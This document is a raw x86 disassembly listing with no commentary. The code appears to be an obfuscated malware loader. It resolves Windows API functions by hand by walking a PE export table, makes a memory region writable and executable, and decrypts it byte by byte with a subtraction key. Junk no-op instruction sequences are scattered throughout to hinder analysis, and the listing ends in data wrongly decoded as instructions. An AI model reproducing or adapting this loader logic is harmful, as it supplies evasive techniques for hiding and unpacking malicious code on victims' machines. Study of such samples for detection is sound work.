mov edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x1588], edx
cmp dword [ebp - 0x1588], 0
jne 0x40a5a2
mov eax, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], eax
jmp 0x40a839
mov ecx, dword [ebp - 0x304]
add ecx, dword [ebp - 0x1588]
mov dword [ebp - 0x724], ecx
jne 0x40a5c7
mov edx, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], edx
jmp 0x40a839
mov eax, dword [ebp - 0x724]
mov ecx, dword [ebp - 0x304]
add ecx, dword [eax + 0x20]
mov dword [ebp - 0x1900], ecx
mov edx, dword [ebp - 0x724]
mov eax, dword [ebp - 0x304]
add eax, dword [edx + 0x24]
mov dword [ebp - 0x1904], eax
mov ecx, dword [ebp - 0x724]
mov edx, dword [ebp - 0x304]
add edx, dword [ecx + 0x1c]
mov dword [ebp - 0x1908], edx
mov dword [ebp - 0x728], 0
jmp 0x40a621
mov eax, dword [ebp - 0x728]
add eax, 1
mov dword [ebp - 0x728], eax
mov ecx, dword [ebp - 0x724]
mov edx, dword [ebp - 0x728]
cmp edx, dword [ecx + 0x18]
jae 0x40a82d
mov eax, dword [ebp - 0x728]
mov ecx, dword [ebp - 0x1900]
mov edx, dword [ebp - 0x304]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x72c], edx
mov eax, dword [ebp - 0x728]
mov ecx, dword [ebp - 0x1904]
movzx edx, word [ecx + eax*2]
mov eax, dword [ebp - 0x1908]
mov ecx, dword [ebp - 0x304]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x190c], ecx
mov dword [ebp - 0x18c], 0
jmp 0x40a691
mov edx, dword [ebp - 0x18c]
add edx, 1
mov dword [ebp - 0x18c], edx
mov eax, dword [ebp - 0x72c]
add eax, dword [ebp - 0x18c]
movsx ecx, byte [eax]
test ecx, ecx
je 0x40a743
mov edx, dword [ebp - 0x18c]
movsx eax, byte [ebp + edx - 0x960]
test eax, eax
je 0x40a743
push esi
push ebx
add esp, 4
xor esi, 0x8294
sub esi, 0x16684
pop esi
push eax
xor eax, 0x4245
and eax, 0xff03
xor eax, 0x6cf3
pop eax
push eax
push esi
add esp, 4
sub eax, 0xfaac
pop eax
mov ecx, dword [ebp - 0x72c]
add ecx, dword [ebp - 0x18c]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x18c]
movsx ecx, byte [ebp + eax - 0x960]
cmp edx, ecx
je 0x40a735
mov edx, dword [ebp - 0x72c]
add edx, dword [ebp - 0x18c]
movsx eax, byte [edx]
xor eax, 0x20
mov ecx, dword [ebp - 0x18c]
movsx edx, byte [ebp + ecx - 0x960]
cmp eax, edx
jne 0x40a73c
jmp 0x40a682
jmp 0x40a743
push esi
push edx
add esp, 4
jmp 0x40a74e
sub esi, 0x15046
call 0x40a762
add byte [eax + 0x37], cl
dec esi
cmp eax, 0x83343a46
les eax, [eax + ebp*8]
pop es
add byte [eax], al
add byte [eax], al
dec eax
cmp dword [0x834f3941], esi
les eax, [esi + ebx*2]
mov eax, dword [ebp - 0x72c]
add eax, dword [ebp - 0x18c]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x18c]
movsx eax, byte [ebp + edx - 0x960]
cmp ecx, eax
jne 0x40a7a2
mov dword [ebp - 0xc6c], 0
jmp 0x40a811
push esi
push esi
add esp, 4
or esi, 0xe270
add esi, 0x11a41
or esi, 0x64b1
xor esi, 0x7b68
pop esi
push eax
call 0x40a7d0
add byte [ebx + 0x3f], cl
cmp eax, 0x4440383a
xor al, 0x50
add esp, 4
pop eax
mov ecx, dword [ebp - 0x72c]
add ecx, dword [ebp - 0x18c]
movsx edx, byte [ecx]
or edx, 0x20
mov eax, dword [ebp - 0x18c]
movsx ecx, byte [ebp + eax - 0x960]
or ecx, 0x20
cmp edx, ecx
jge 0x40a807
mov dword [ebp - 0xc6c], 0xffffffff
jmp 0x40a811
mov dword [ebp - 0xc6c], 1
cmp dword [ebp - 0xc6c], 0
jne 0x40a828
mov edx, dword [ebp - 0x190c]
mov dword [ebp - 0x4f0], edx
jmp 0x40a839
jmp 0x40a612
mov eax, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], eax
mov ecx, dword [ebp - 0x4f0]
mov dword [ebp - 0xa58], ecx
push esi
push ebx
add esp, 4
add esi, 0x7363
sub esi, 0xcc22
and esi, 0x151b1
pop esi
push edx
push ecx
add esp, 4
jmp 0x40a86a
add edx, 0xd0ce
and edx, 0x15f79
pop edx
mov edx, dword [ebp - 0xa58]
mov dword [ebp - 0x1910], edx
lea eax, [ebp - 0xc70]
push eax
push 0x40
mov ecx, dword [ebp - 0x158c]
push ecx
mov edx, dword [ebp - 0x3cc]
push edx
call dword [ebp - 0x1910]
test eax, eax
jne 0x40a8ea
push edx
push ebx
add esp, 4
add edx, 0x12cfe
xor edx, 0xde5c
xor edx, 0x766a
pop edx
push ecx
sub ecx, 0xb12c
and ecx, 0x1f7f
pop ecx
push eax
push ecx
add esp, 4
sub eax, 0xe440
pop eax
mov eax, dword [ebp - 0x738]
mov dword [ebp - 0x1914], eax
push 0
call dword [ebp - 0x1914]
mov ecx, dword [ebp - 0x1918]
mov dword [ebp - 0x734], ecx
jmp 0x40a907
mov edx, dword [ebp - 0x734]
add edx, 1
mov dword [ebp - 0x734], edx
mov eax, dword [ebp - 0x734]
cmp eax, dword [ebp - 0xa5c]
jae 0x40a963
push ecx
add ecx, 0x945d
pop ecx
push ecx
push esi
add esp, 4
or ecx, 0x106cd
pop ecx
push eax
push ebx
add esp, 4
xor eax, 0x3484
add eax, 0x131be
xor eax, 0x988f
sub eax, 0x4f26
pop eax
movzx ecx, byte [ebp - 0x381]
mov edx, dword [ebp - 0x734]
movsx eax, byte [edx]
sub eax, ecx
mov ecx, dword [ebp - 0x734]
mov byte [ecx], al
jmp 0x40a8f8
mov edx, dword [ebp - 0xa58]
mov dword [ebp - 0x191c], edx
lea eax, [ebp - 0xc70]
push eax
mov ecx, dword [ebp - 0xc70]
push ecx
mov edx, dword [ebp - 0x158c]
push edx
mov eax, dword [ebp - 0x3cc]
push eax
call dword [ebp - 0x191c]
test eax, eax
jne 0x40a9db
push edi
add edi, 0x8de4
or edi, 0x1193f
xor edi, 0x5fe7
and edi, 0xa22f
pop edi
push ebx
push edi
add esp, 4
and ebx, 0x550b
xor ebx, 0xecd5
or ebx, 0xd6af
pop ebx
mov ecx, dword [ebp - 0x738]
mov dword [ebp - 0x1920], ecx
push 0
call dword [ebp - 0x1920]
push esi
push edi
add esp, 4
sub esi, 0x11ccd
add esi, 0xaf00
or esi, 0x112af
pop esi
push eax
push ebx
add esp, 4
or eax, 0x83c3
pop eax
push esi
sub esi, 0x5bc2
sub esi, 0xcc61
pop esi
push edx
mov ecx, 0x10101010
pop edx
push ecx
mov ecx, 0xffff07ff
pop ecx
pop esi
mov dh, cl
test byte [eax + ecx + 7], dl
mov dh, bh
test al, 0x47
or byte [edi], al
pop si
pop ebp
mov cl, bl
or ecx, dword [eax + 0x7e97ef6]
pop es
mov dh, dl
fnsave dword [ebp + 7]
pop es
pop cx
push edi
mov cl, bl
or ecx, dword [eax + 0x7f13fc9]
pop es
mov cl, ch
invalid